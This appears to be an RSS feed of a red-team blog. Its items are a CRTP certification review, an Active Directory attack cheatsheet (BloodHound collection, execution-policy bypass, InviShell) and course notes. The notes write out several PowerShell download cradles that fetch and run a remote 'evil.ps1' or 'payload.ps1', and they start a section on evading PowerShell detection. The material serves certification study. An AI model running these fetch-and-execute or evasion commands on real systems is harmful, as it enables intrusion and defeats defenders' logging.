<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Active Directory on</title><link>https://4ym3nn.github.io/tags/active-directory/</link><description>Recent content in Active Directory on</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Tue, 09 Jun 2026 17:40:00 +0100</lastBuildDate><atom:link href="https://4ym3nn.github.io/tags/active-directory/index.xml" rel="self" type="application/rss+xml"/><item><title>Certified Red Team Professional (CRTP) - Review</title><link>https://4ym3nn.github.io/reviews/crtp-review/</link><pubDate>Tue, 09 Jun 2026 17:40:00 +0100</pubDate><guid>https://4ym3nn.github.io/reviews/crtp-review/</guid><description>&lt;h1 id="certified-red-team-professional-crtp-review">Certified Red Team Professional (CRTP) Review&lt;/h1>
&lt;p>I am proud to share that I have successfully passed the Certified Red Team Professional (CRTP) exam!&lt;/p>
&lt;p align="center">
 &lt;img src="https://4ym3nn.github.io/images/crtp-certificate.png" alt="Certified Red Team Professional (CRTP)" />
&lt;/p>
&lt;hr>
&lt;h2 id="context">Context&lt;/h2>
&lt;p>I won the CRTP certificate voucher in the &lt;strong>WorldWideCTF&lt;/strong> competition with my team &lt;strong>TroJeun&lt;/strong>.
I started the course with zero knowledge about Active Directory in March 2026. I tackled the material slowly, focusing on the videos, understanding the author&amp;rsquo;s workflows, and adopting the mindset of attacking AD.&lt;/p></description></item><item><title>Certified Red Team Professional (CRTP) - Practical Exam Cheatsheet</title><link>https://4ym3nn.github.io/reviews/crtp-cheatsheet/</link><pubDate>Tue, 09 Jun 2026 17:36:00 +0100</pubDate><guid>https://4ym3nn.github.io/reviews/crtp-cheatsheet/</guid><description>&lt;p>Source: cleaned from &lt;code>sheet.md&lt;/code> only. Commands were deduplicated where repeated verbatim. No techniques were added beyond the original notes.&lt;/p>
&lt;h2 id="bloodhound-collection">BloodHound Collection&lt;/h2>
&lt;pre tabindex="0">&lt;code>./SharpHound.exe --collectionmethods All --excludedcs
&lt;/code>&lt;/pre>&lt;pre tabindex="0">&lt;code>./sharp.xe --collectionmethods Group,GPOLocalGroup,Session,Trusts,ACL,Container,ObjectProps,SPNTargets,CertServices --excludedcs
&lt;/code>&lt;/pre>&lt;pre tabindex="0">&lt;code>C:\AD\Tools\Loader.exe -Path C:\AD\Tools\SharpHound\SharpHound.exe -
args --collectionmethods
Group,GPOLocalGroup,Session,Trusts,ACL,Container,ObjectProps,SPNTarg
ets,CertServices --excludedcs
&lt;/code>&lt;/pre>&lt;h2 id="execution--session-prep">Execution / Session Prep&lt;/h2>
&lt;p>&lt;strong>PowerShell&lt;/strong> Bypass PowerShell execution policy restrictions for the current shell.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>powershell -ExecutionPolicy bypass
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>InviShell&lt;/strong> Launch InviShell without requiring admin.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bat" data-lang="bat">&lt;span style="display:flex;">&lt;span>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="enumeration">Enumeration&lt;/h2>
&lt;p>&lt;strong>PowerView&lt;/strong> List domain user &lt;code>samaccountname&lt;/code> values.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>Get-DomainUser | select -ExpandProperty samaccountname
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>PowerView&lt;/strong> List domain computers by DNS hostname.&lt;/p></description></item><item><title>Certified Red Team Professional (CRTP) - Course Summary Notes</title><link>https://4ym3nn.github.io/reviews/crtp-summary/</link><pubDate>Tue, 09 Jun 2026 17:35:00 +0100</pubDate><guid>https://4ym3nn.github.io/reviews/crtp-summary/</guid><description>&lt;h1 id="1-powershell-basics">1. PowerShell Basics&lt;/h1>
&lt;h2 id="importing-modules">Importing Modules&lt;/h2>
&lt;ul>
&lt;li>Load a PowerShell script using &lt;strong>dot sourcing&lt;/strong>:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>. C:\AD\Tools\PowerView.ps1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>A module (or a script) can be imported with:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>Import-Module C:\AD\Tools\ADModulemaster\ActiveDirectory\ActiveDirectory.psd1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>All the commands in a module can be listed with:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>Get-Command -Module &amp;lt;modulename&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="powershell-script-execution---download-cradles">PowerShell Script Execution - Download Cradles&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>iex (New-Object Net.WebClient).DownloadString(&lt;span style="color:#e6db74">&amp;#39;https://webserver/payload.ps1&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>$ie=New-Object -ComObject
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>InternetExplorer.Application;$ie.visible=$False;$ie.navigate(&lt;span style="color:#e6db74">&amp;#39;http://192.168.230.1/evil.ps1&amp;#39;&lt;/span>);sleep &lt;span style="color:#ae81ff">5&lt;/span>;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># PSv3 onwards&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>iex (iwr &lt;span style="color:#e6db74">&amp;#39;http://192.168.230.1/evil.ps1&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>$h=New-Object -ComObject
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Msxml2.XMLHTTP;$h.open(&lt;span style="color:#e6db74">&amp;#39;GET&amp;#39;&lt;/span>,&lt;span style="color:#e6db74">&amp;#39;http://192.168.230.1/evil.ps1&amp;#39;&lt;/span>,$false);$h.send();iex
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$h.responseText
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>$wr = [&lt;span style="color:#66d9ef">System.NET.WebRequest&lt;/span>]::Create(&lt;span style="color:#e6db74">&amp;#34;http://192.168.230.1/evil.ps1&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$r = $wr.GetResponse()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>IEX ([&lt;span style="color:#66d9ef">System.IO.StreamReader&lt;/span>]($r.GetResponseStream())).ReadToEnd()
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;h1 id="2-powershell-security--evasion">2. PowerShell Security &amp;amp; Evasion&lt;/h1>
&lt;h2 id="powershell-detections">PowerShell Detections&lt;/h2>
&lt;ol>
&lt;li>&lt;strong>System-wide transcription&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Script Block logging&lt;/strong>&lt;/li>
&lt;li>&lt;strong>AMSI&lt;/strong>&lt;/li>
&lt;li>&lt;strong>CLM&lt;/strong> - Integrated with AppLocker and WDAC (Device Guard)&lt;/li>
&lt;/ol>
&lt;h2 id="bypassing-powershell-security">Bypassing PowerShell Security&lt;/h2>
&lt;p>&lt;strong>Using Invisi-Shell:&lt;/strong>&lt;/p></description></item></channel></rss>